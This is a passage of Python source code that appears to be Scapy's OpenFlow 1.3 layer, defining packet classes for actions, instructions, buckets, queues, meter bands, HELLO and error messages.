dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            t = struct.unpack(\"!H\", _pkt[:2])[0]\n            return ofp_action_id_cls.get(t, Raw)\n        return Raw\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n# length is computed as in instruction structures,\n# so we reuse _ofp_header\n\n\nclass OFPATOutputID(OFPATID):\n    name = \"OFPAT_OUTPUT\"\n    fields_desc = [ShortEnumField(\"type\", 0, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n# the following actions are not supported by OFv1.3\n\n\nclass OFPATSetVLANVIDID(OFPATID):\n    name = \"OFPAT_SET_VLAN_VID\"\n    fields_desc = [ShortEnumField(\"type\", 1, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATSetVLANPCPID(OFPATID):\n    name = \"OFPAT_SET_VLAN_PCP\"\n    fields_desc = [ShortEnumField(\"type\", 2, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATStripVLANID(OFPATID):\n    name = \"OFPAT_STRIP_VLAN\"\n    fields_desc = [ShortEnumField(\"type\", 3, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATSetDlSrcID(OFPATID):\n    name = \"OFPAT_SET_DL_SRC\"\n    fields_desc = [ShortEnumField(\"type\", 4, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATSetDlDstID(OFPATID):\n    name = \"OFPAT_SET_DL_DST\"\n    fields_desc = [ShortEnumField(\"type\", 5, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATSetNwSrcID(OFPATID):\n    name = \"OFPAT_SET_NW_SRC\"\n    fields_desc = [ShortEnumField(\"type\", 6, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATSetNwDstID(OFPATID):\n    name = \"OFPAT_SET_NW_DST\"\n    fields_desc = [ShortEnumField(\"type\", 7, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATSetNwToSID(OFPATID):\n    name = \"OFPAT_SET_TP_TOS\"\n    fields_desc = [ShortEnumField(\"type\", 8, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATSetTpSrcID(OFPATID):\n    name = \"OFPAT_SET_TP_SRC\"\n    fields_desc = [ShortEnumField(\"type\", 9, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATSetTpDstID(OFPATID):\n    name = \"OFPAT_SET_TP_DST\"\n    fields_desc = [ShortEnumField(\"type\", 10, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n# class OFPATEnqueueID(OFPAT):\n#       name = \"OFPAT_ENQUEUE\"\n#       fields_desc = [ ShortEnumField(\"type\", 11, ofp_action_types),\n#                       ShortField(\"len\", 4) ]\n\n\nclass OFPATSetMPLSLabelID(OFPATID):\n    name = \"OFPAT_SET_MPLS_LABEL\"\n    fields_desc = [ShortEnumField(\"type\", 13, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATSetMPLSTCID(OFPATID):\n    name = \"OFPAT_SET_MPLS_TC\"\n    fields_desc = [ShortEnumField(\"type\", 14, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n# end of unsupported actions\n\n\nclass OFPATCopyTTLOutID(OFPATID):\n    name = \"OFPAT_COPY_TTL_OUT\"\n    fields_desc = [ShortEnumField(\"type\", 11, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATCopyTTLInID(OFPATID):\n    name = \"OFPAT_COPY_TTL_IN\"\n    fields_desc = [ShortEnumField(\"type\", 12, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATSetMPLSTTLID(OFPATID):\n    name = \"OFPAT_SET_MPLS_TTL\"\n    fields_desc = [ShortEnumField(\"type\", 15, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATDecMPLSTTLID(OFPATID):\n    name = \"OFPAT_DEC_MPLS_TTL\"\n    fields_desc = [ShortEnumField(\"type\", 16, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATPushVLANID(OFPATID):\n    name = \"OFPAT_PUSH_VLAN\"\n    fields_desc = [ShortEnumField(\"type\", 17, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATPopVLANID(OFPATID):\n    name = \"OFPAT_POP_VLAN\"\n    fields_desc = [ShortEnumField(\"type\", 18, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATPushMPLSID(OFPATID):\n    name = \"OFPAT_PUSH_MPLS\"\n    fields_desc = [ShortEnumField(\"type\", 19, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATPopMPLSID(OFPATID):\n    name = \"OFPAT_POP_MPLS\"\n    fields_desc = [ShortEnumField(\"type\", 20, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATSetQueueID(OFPATID):\n    name = \"OFPAT_SET_QUEUE\"\n    fields_desc = [ShortEnumField(\"type\", 21, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATGroupID(OFPATID):\n    name = \"OFPAT_GROUP\"\n    fields_desc = [ShortEnumField(\"type\", 22, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATSetNwTTLID(OFPATID):\n    name = \"OFPAT_SET_NW_TTL\"\n    fields_desc = [ShortEnumField(\"type\", 23, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATDecNwTTLID(OFPATID):\n    name = \"OFPAT_DEC_NW_TTL\"\n    fields_desc = [ShortEnumField(\"type\", 24, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATSetFieldID(OFPATID):\n    name = \"OFPAT_SET_FIELD\"\n    fields_desc = [ShortEnumField(\"type\", 25, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATPushPBBID(OFPATID):\n    name = \"OFPAT_PUSH_PBB\"\n    fields_desc = [ShortEnumField(\"type\", 26, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATPopPBBID(OFPATID):\n    name = \"OFPAT_POP_PBB\"\n    fields_desc = [ShortEnumField(\"type\", 27, ofp_action_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPATExperimenterID(OFPATID):\n    name = \"OFPAT_EXPERIMENTER\"\n    fields_desc = [ShortEnumField(\"type\", 65535, ofp_action_types),\n                   ShortField(\"len\", None)]\n\n\nofp_action_id_cls = {0: OFPATOutputID,\n                     1: OFPATSetVLANVIDID,\n                     2: OFPATSetVLANPCPID,\n                     3: OFPATStripVLANID,\n                     4: OFPATSetDlSrcID,\n                     5: OFPATSetDlDstID,\n                     6: OFPATSetNwSrcID,\n                     7: OFPATSetNwDstID,\n                     8: OFPATSetNwToSID,\n                     9: OFPATSetTpSrcID,\n                     10: OFPATSetTpDstID,\n                     # 11: OFPATEnqueueID,\n                     11: OFPATCopyTTLOutID,\n                     12: OFPATCopyTTLInID,\n                     13: OFPATSetMPLSLabelID,\n                     14: OFPATSetMPLSTCID,\n                     15: OFPATSetMPLSTTLID,\n                     16: OFPATDecMPLSTTLID,\n                     17: OFPATPushVLANID,\n                     18: OFPATPopVLANID,\n                     19: OFPATPushMPLSID,\n                     20: OFPATPopMPLSID,\n                     21: OFPATSetQueueID,\n                     22: OFPATGroupID,\n                     23: OFPATSetNwTTLID,\n                     24: OFPATDecNwTTLID,\n                     25: OFPATSetFieldID,\n                     26: OFPATPushPBBID,\n                     27: OFPATPopPBBID,\n                     65535: OFPATExperimenterID}\n\n\n#                    Instructions                   #\n\n\nofp_instruction_types = {1: \"OFPIT_GOTO_TABLE\",\n                         2: \"OFPIT_WRITE_METADATA\",\n                         3: \"OFPIT_WRITE_ACTIONS\",\n                         4: \"OFPIT_APPLY_ACTIONS\",\n                         5: \"OFPIT_CLEAR_ACTIONS\",\n                         6: \"OFPIT_METER\",\n                         65535: \"OFPIT_EXPERIMENTER\"}\n\n\nclass OFPIT(_ofp_header):\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            t = struct.unpack(\"!H\", _pkt[:2])[0]\n            return ofp_instruction_cls.get(t, Raw)\n        return Raw\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPITGotoTable(OFPIT):\n    name = \"OFPIT_GOTO_TABLE\"\n    fields_desc = [ShortEnumField(\"type\", 1, ofp_instruction_types),\n                   ShortField(\"len\", 8),\n                   ByteEnumField(\"table_id\", 0, ofp_table),\n                   X3BytesField(\"pad\", 0)]\n\n\nclass OFPITWriteMetadata(OFPIT):\n    name = \"OFPIT_WRITE_METADATA\"\n    fields_desc = [ShortEnumField(\"type\", 2, ofp_instruction_types),\n                   ShortField(\"len\", 24),\n                   XIntField(\"pad\", 0),\n                   LongField(\"metadata\", 0),\n                   LongField(\"metadata_mask\", 0)]\n\n\nclass OFPITWriteActions(OFPIT):\n    name = \"OFPIT_WRITE_ACTIONS\"\n    fields_desc = [ShortEnumField(\"type\", 3, ofp_instruction_types),\n                   ShortField(\"len\", None),\n                   XIntField(\"pad\", 0),\n                   PacketListField(\"actions\", [], OFPAT,\n                                   length_from=lambda pkt:pkt.len - 8)]\n\n\nclass OFPITApplyActions(OFPIT):\n    name = \"OFPIT_APPLY_ACTIONS\"\n    fields_desc = [ShortEnumField(\"type\", 4, ofp_instruction_types),\n                   ShortField(\"len\", None),\n                   XIntField(\"pad\", 0),\n                   PacketListField(\"actions\", [], OFPAT,\n                                   length_from=lambda pkt:pkt.len - 8)]\n\n\nclass OFPITClearActions(OFPIT):\n    name = \"OFPIT_CLEAR_ACTIONS\"\n    fields_desc = [ShortEnumField(\"type\", 5, ofp_instruction_types),\n                   ShortField(\"len\", 8),\n                   XIntField(\"pad\", 0)]\n\n\nclass OFPITMeter(OFPIT):\n    name = \"OFPIT_METER\"\n    fields_desc = [ShortEnumField(\"type\", 6, ofp_instruction_types),\n                   ShortField(\"len\", 8),\n                   IntEnumField(\"meter_id\", 1, ofp_meter)]\n\n\nclass OFPITExperimenter(OFPIT):\n    name = \"OFPIT_EXPERIMENTER\"\n    fields_desc = [ShortEnumField(\"type\", 65535, ofp_instruction_types),\n                   ShortField(\"len\", None),\n                   IntField(\"experimenter\", 0)]\n\n\nofp_instruction_cls = {1: OFPITGotoTable,\n                       2: OFPITWriteMetadata,\n                       3: OFPITWriteActions,\n                       4: OFPITApplyActions,\n                       5: OFPITClearActions,\n                       6: OFPITMeter,\n                       65535: OFPITExperimenter}\n\n\n#                  Instruction IDs                  #\n\n# length is computed as in instruction structures,\n# so we reuse _ofp_header\n\nclass OFPITID(_ofp_header):\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            t = struct.unpack(\"!H\", _pkt[:2])[0]\n            return ofp_instruction_id_cls.get(t, Raw)\n        return Raw\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPITGotoTableID(OFPITID):\n    name = \"OFPIT_GOTO_TABLE\"\n    fields_desc = [ShortEnumField(\"type\", 1, ofp_instruction_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPITWriteMetadataID(OFPITID):\n    name = \"OFPIT_WRITE_METADATA\"\n    fields_desc = [ShortEnumField(\"type\", 2, ofp_instruction_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPITWriteActionsID(OFPITID):\n    name = \"OFPIT_WRITE_ACTIONS\"\n    fields_desc = [ShortEnumField(\"type\", 3, ofp_instruction_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPITApplyActionsID(OFPITID):\n    name = \"OFPIT_APPLY_ACTIONS\"\n    fields_desc = [ShortEnumField(\"type\", 4, ofp_instruction_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPITClearActionsID(OFPITID):\n    name = \"OFPIT_CLEAR_ACTIONS\"\n    fields_desc = [ShortEnumField(\"type\", 5, ofp_instruction_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPITMeterID(OFPITID):\n    name = \"OFPIT_METER\"\n    fields_desc = [ShortEnumField(\"type\", 6, ofp_instruction_types),\n                   ShortField(\"len\", 4)]\n\n\nclass OFPITExperimenterID(OFPITID):\n    name = \"OFPIT_EXPERIMENTER\"\n    fields_desc = [ShortEnumField(\"type\", 65535, ofp_instruction_types),\n                   ShortField(\"len\", None)]\n\n\nofp_instruction_id_cls = {1: OFPITGotoTableID,\n                          2: OFPITWriteMetadataID,\n                          3: OFPITWriteActionsID,\n                          4: OFPITApplyActionsID,\n                          5: OFPITClearActionsID,\n                          6: OFPITMeterID,\n                          65535: OFPITExperimenterID}\n\n\n#                      Buckets                      #\n\nclass OFPBucket(_ofp_header_item):\n    name = \"OFP_BUCKET\"\n    fields_desc = [ShortField(\"len\", None),\n                   ShortField(\"weight\", 0),\n                   IntEnumField(\"watch_port\", 0, ofp_port_no),\n                   IntEnumField(\"watch_group\", 0, ofp_group),\n                   XIntField(\"pad\", 0),\n                   PacketListField(\"actions\", [], OFPAT,\n                                   length_from=lambda pkt:pkt.len - 16)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\n#                       Queues                      #\n\n\nofp_queue_property_types = {0: \"OFPQT_NONE\",\n                            1: \"OFPQT_MIN_RATE\"}\n\n\nclass OFPQT(_ofp_header):\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            t = struct.unpack(\"!H\", _pkt[:2])[0]\n            return ofp_queue_property_cls.get(t, Raw)\n        return Raw\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPQTNone(OFPQT):\n    name = \"OFPQT_NONE\"\n    fields_desc = [ShortEnumField(\"type\", 0, ofp_queue_property_types),\n                   ShortField(\"len\", 8),\n                   XIntField(\"pad\", 0)]\n\n\nclass OFPQTMinRate(OFPQT):\n    name = \"OFPQT_MIN_RATE\"\n    fields_desc = [ShortEnumField(\"type\", 1, ofp_queue_property_types),\n                   ShortField(\"len\", 16),\n                   XIntField(\"pad1\", 0),\n                   ShortField(\"rate\", 0),\n                   XBitField(\"pad2\", 0, 48)]\n\n\nofp_queue_property_cls = {0: OFPQTNone,\n                          1: OFPQTMinRate}\n\n\nclass OFPPacketQueue(Packet):\n    name = \"OFP_PACKET_QUEUE\"\n    fields_desc = [IntEnumField(\"queue_id\", 0, ofp_queue),\n                   ShortField(\"len\", None),\n                   XShortField(\"pad\", 0),\n                   PacketListField(\"properties\", [], OFPQT,\n                                   length_from=lambda pkt:pkt.len - 8)]  # noqa: E501\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n    def post_build(self, p, pay):\n        if self.properties == []:\n            p += raw(OFPQTNone())\n        if self.len is None:\n            tmp_len = len(p) + len(pay)\n            p = p[:4] + struct.pack(\"!H\", tmp_len) + p[6:]\n        return p + pay\n\n\n#                    Meter bands                    #\n\nofp_meter_band_types = {0: \"OFPMBT_DROP\",\n                        1: \"OFPMBT_DSCP_REMARK\",\n                        65535: \"OFPMBT_EXPERIMENTER\"}\n\n\nclass OFPMBT(_ofp_header):\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            t = struct.unpack(\"!H\", _pkt[:2])[0]\n            return ofp_meter_band_cls.get(t, Raw)\n        return Raw\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPMBTDrop(OFPMBT):\n    name = \"OFPMBT_DROP\"\n    fields_desc = [ShortEnumField(\"type\", 0, ofp_queue_property_types),\n                   ShortField(\"len\", 16),\n                   IntField(\"rate\", 0),\n                   IntField(\"burst_size\", 0),\n                   XIntField(\"pad\", 0)]\n\n\nclass OFPMBTDSCPRemark(OFPMBT):\n    name = \"OFPMBT_DSCP_REMARK\"\n    fields_desc = [ShortEnumField(\"type\", 1, ofp_queue_property_types),\n                   ShortField(\"len\", 16),\n                   IntField(\"rate\", 0),\n                   IntField(\"burst_size\", 0),\n                   ByteField(\"prec_level\", 0),\n                   X3BytesField(\"pad\", 0)]\n\n\nclass OFPMBTExperimenter(OFPMBT):\n    name = \"OFPMBT_EXPERIMENTER\"\n    fields_desc = [ShortEnumField(\"type\", 65535, ofp_queue_property_types),\n                   ShortField(\"len\", 16),\n                   IntField(\"rate\", 0),\n                   IntField(\"burst_size\", 0),\n                   IntField(\"experimenter\", 0)]\n\n\nofp_meter_band_cls = {0: OFPMBTDrop,\n                      1: OFPMBTDSCPRemark,\n                      2: OFPMBTExperimenter}\n\n\n#####################################################\n#              OpenFlow 1.3 Messages                #\n#####################################################\n\nofp_version = {0x01: \"OpenFlow 1.0\",\n               0x02: \"OpenFlow 1.1\",\n               0x03: \"OpenFlow 1.2\",\n               0x04: \"OpenFlow 1.3\",\n               0x05: \"OpenFlow 1.4\"}\n\nofp_type = {0: \"OFPT_HELLO\",\n            1: \"OFPT_ERROR\",\n            2: \"OFPT_ECHO_REQUEST\",\n            3: \"OFPT_ECHO_REPLY\",\n            4: \"OFPT_EXPERIMENTER\",\n            5: \"OFPT_FEATURES_REQUEST\",\n            6: \"OFPT_FEATURES_REPLY\",\n            7: \"OFPT_GET_CONFIG_REQUEST\",\n            8: \"OFPT_GET_CONFIG_REPLY\",\n            9: \"OFPT_SET_CONFIG\",\n            10: \"OFPT_PACKET_IN\",\n            11: \"OFPT_FLOW_REMOVED\",\n            12: \"OFPT_PORT_STATUS\",\n            13: \"OFPT_PACKET_OUT\",\n            14: \"OFPT_FLOW_MOD\",\n            15: \"OFPT_GROUP_MOD\",\n            16: \"OFPT_PORT_MOD\",\n            17: \"OFPT_TABLE_MOD\",\n            18: \"OFPT_MULTIPART_REQUEST\",\n            19: \"OFPT_MULTIPART_REPLY\",\n            20: \"OFPT_BARRIER_REQUEST\",\n            21: \"OFPT_BARRIER_REPLY\",\n            22: \"OFPT_QUEUE_GET_CONFIG_REQUEST\",\n            23: \"OFPT_QUEUE_GET_CONFIG_REPLY\",\n            24: \"OFPT_ROLE_REQUEST\",\n            25: \"OFPT_ROLE_REPLY\",\n            26: \"OFPT_GET_ASYNC_REQUEST\",\n            27: \"OFPT_GET_ASYNC_REPLY\",\n            28: \"OFPT_SET_ASYNC\",\n            29: \"OFPT_METER_MOD\"}\n\n\nclass OFPTHello(_ofp_header):\n    name = \"OFPT_HELLO\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 0, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   PacketListField(\"elements\", [], OFPHET,\n                                   length_from=lambda pkt: pkt.len - 8)]\n\n\n#####################################################\n#                     OFPT_ERROR                    #\n#####################################################\n\n\nofp_error_type = {0: \"OFPET_HELLO_FAILED\",\n                  1: \"OFPET_BAD_REQUEST\",\n                  2: \"OFPET_BAD_ACTION\",\n                  3: \"OFPET_BAD_INSTRUCTION\",\n                  4: \"OFPET_BAD_MATCH\",\n                  5: \"OFPET_FLOW_MOD_FAILED\",\n                  6: \"OFPET_GROUP_MOD_FAILED\",\n                  7: \"OFPET_PORT_MOD_FAILED\",\n                  8: \"OFPET_TABLE_MOD_FAILED\",\n                  9: \"OFPET_QUEUE_OP_FAILED\",\n                  10: \"OFPET_SWITCH_CONFIG_FAILED\",\n                  11: \"OFPET_ROLE_REQUEST_FAILED\",\n                  12: \"OFPET_METER_MOD_FAILED\",\n                  13: \"OFPET_TABLE_FEATURES_FAILED\",\n                  65535: \"OFPET_EXPERIMENTER\"}\n\n\nclass OFPETHelloFailed(_ofp_header):\n    name = \"OFPET_HELLO_FAILED\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 0, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPHFC_INCOMPATIBLE\",\n                                                 1: \"OFPHFC_EPERM\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETBadRequest(_ofp_header):\n    name = \"OFPET_BAD_REQUEST\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 1, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPBRC_BAD_VERSION\",\n                                                 1: \"OFPBRC_BAD_TYPE\",\n                                                 2: \"OFPBRC_BAD_MULTIPART\",\n                                                 3: \"OFPBRC_BAD_EXPERIMENTER\",\n                                                 4: \"OFPBRC_BAD_EXP_TYPE\",\n                                                 5: \"OFPBRC_EPERM\",\n                                                 6: \"OFPBRC_BAD_LEN\",\n                                                 7: \"OFPBRC_BUFFER_EMPTY\",\n                                                 8: \"OFPBRC_BUFFER_UNKNOWN\",\n                                                 9: \"OFPBRC_BAD_TABLE_ID\",\n                                                 10: \"OFPBRC_IS_SLAVE\",\n                                                 11: \"OFPBRC_BAD_PORT\",\n                                                 12: \"OFPBRC_BAD_PACKET\",\n                                                 13: \"OFPBRC_MULTIPART_BUFFER_OVERFLOW\"}),  # noqa: E501\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETBadAction(_ofp_header):\n    name = \"OFPET_BAD_ACTION\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 2, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPBAC_BAD_TYPE\",\n                                                 1: \"OFPBAC_BAD_LEN\",\n                                                 2: \"OFPBAC_BAD_EXPERIMENTER\",\n                                                 3: \"OFPBAC_BAD_EXP_TYPE\",\n                                                 4: \"OFPBAC_BAD_OUT_PORT\",\n                                                 5: \"OFPBAC_BAD_ARGUMENT\",\n                                                 6: \"OFPBAC_EPERM\",\n                                                 7: \"OFPBAC_TOO_MANY\",\n                                                 8: \"OFPBAC_BAD_QUEUE\",\n                                                 9: \"OFPBAC_BAD_OUT_GROUP\",\n                                                 10: \"OFPBAC_MATCH_INCONSISTENT\",  # noqa: E501\n                                                 11: \"OFPBAC_UNSUPPORTED_ORDER\",  # noqa: E501\n                                                 12: \"OFPBAC_BAD_TAG\",\n                                                 13: \"OFPBAC_BAD_SET_TYPE\",\n                                                 14: \"OFPBAC_BAD_SET_LEN\",\n                                                 15: \"OFPBAC_BAD_SET_ARGUMENT\"}),  # noqa: E501\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETBadInstruction(_ofp_header):\n    name = \"OFPET_BAD_INSTRUCTION\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 3, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPBIC_UNKNOWN_INST\",\n                                                 1: \"OFPBIC_UNSUP_INST\",\n                                                 2: \"OFPBIC_BAD_TABLE_ID\",\n                                                 3: \"OFPBIC_UNSUP_METADATA\",\n                                                 4: \"OFPBIC_UNSUP_METADATA_MASK\",  # noqa: E501\n                                                 5: \"OFPBIC_BAD_EXPERIMENTER\",\n                                                 6: \"OFPBIC_BAD_EXP_TYPE\",\n                                                 7: \"OFPBIC_BAD_LEN\",\n                                                 8: \"OFPBIC_EPERM\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETBadMatch(_ofp_header):\n    name = \"OFPET_BAD_MATCH\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 4, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPBMC_BAD_TYPE\",\n                                                 1: \"OFPBMC_BAD_LEN\",\n                                                 2: \"OFPBMC_BAD_TAG\",\n                                                 3: \"OFPBMC_BAD_DL_ADDR_MASK\",\n                                                 4: \"OFPBMC_BAD_NW_ADDR_MASK\",\n                                                 5: \"OFPBMC_BAD_WILDCARDS\",\n                                                 6: \"OFPBMC_BAD_FIELD\",\n                                                 7: \"OFPBMC_BAD_VALUE\",\n                                                 8: \"OFPBMC_BAD_MASK\",\n                                                 9: \"OFPBMC_BAD_PREREQ\",\n                                                 10: \"OFPBMC_DUP_FIELD\",\n                                                 11: \"OFPBMC_EPERM\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETFlowModFailed(_ofp_header):\n    name = \"OFPET_FLOW_MOD_FAILED\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 5, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPFMFC_UNKNOWN\",\n                                                 1: \"OFPFMFC_TABLE_FULL\",\n                                                 2: \"OFPFMFC_BAD_TABLE_ID\",\n                                                 3: \"OFPFMFC_OVERLAP\",\n                                                 4: \"OFPFMFC_EPERM\",\n                                                 5: \"OFPFMFC_BAD_TIMEOUT\",\n                                                 6: \"OFPFMFC_BAD_COMMAND\",\n                                                 7: \"OFPFMFC_BAD_FLAGS\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETGroupModFailed(_ofp_header):\n    name = \"OFPET_GROUP_MOD_FAILED\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 6, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPGMFC_GROUP_EXISTS\",\n                                                 1: \"OFPGMFC_INVALID_GROUP\",\n                                                 2: \"OFPGMFC_WEIGHT_UNSUPPORTED\",  # noqa: E501\n                                                 3: \"OFPGMFC_OUT_OF_GROUPS\",\n                                                 4: \"OFPGMFC_OUT_OF_BUCKETS\",\n                                                 5: \"OFPGMFC_CHAINING_UNSUPPORTED\",  # noqa: E501\n                                                 6: \"OFPGMFC_WATCH_UNSUPPORTED\",  # noqa: E501\n                                                 7: \"OFPGMFC_LOOP\",\n                                                 8: \"OFPGMFC_UNKNOWN_GROUP\",\n                                                 9: \"OFPGMFC_CHAINED_GROUP\",\n                                                 10: \"OFPGMFC_BAD_TYPE\",\n                                                 11: \"OFPGMFC_BAD_COMMAND\",\n                                                 12: \"OFPGMFC_BAD_BUCKET\",\n                                                 13: \"OFPGMFC_BAD_WATCH\",\n                                                 14: \"OFPFMFC_EPERM\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETPortModFailed(_ofp_header):\n    name = \"OFPET_PORT_MOD_FAILED\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 7, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPPMFC_BAD_PORT\",\n                                                 1: \"OFPPMFC_BAD_HW_ADDR\",\n                                                 2: \"OFPPMFC_BAD_CONFIG\",\n                                                 3: \"OFPPMFC_BAD_ADVERTISE\",\n                                                 4: \"OFPPMFC_EPERM\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETTableModFailed(_ofp_header):\n    name = \"OFPET_TABLE_MOD_FAILED\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 8, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPTMFC_BAD_TABLE\",\n                                                 1: \"OFPTMFC_BAD_CONFIG\",\n                                                 2: \"OFPTMFC_EPERM\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETQueueOpFailed(_ofp_header):\n    name = \"OFPET_QUEUE_OP_FAILED\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 9, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPQOFC_BAD_PORT\",\n                                                 1: \"OFPQOFC_BAD_QUEUE\",\n                                                 2: \"OFPQOFC_EPERM\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETSwitchConfigFailed(_ofp_header):\n    name = \"OFPET_SWITCH_CONFIG_FAILED\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 10, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPSCFC_BAD_FLAGS\",\n                                                 1: \"OFPSCFC_BAD_LEN\",\n                                                 2: \"OFPSCFC_EPERM\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETRoleRequestFailed(_ofp_header):\n    name = \"OFPET_ROLE_REQUEST_FAILED\"\n    fields_desc = 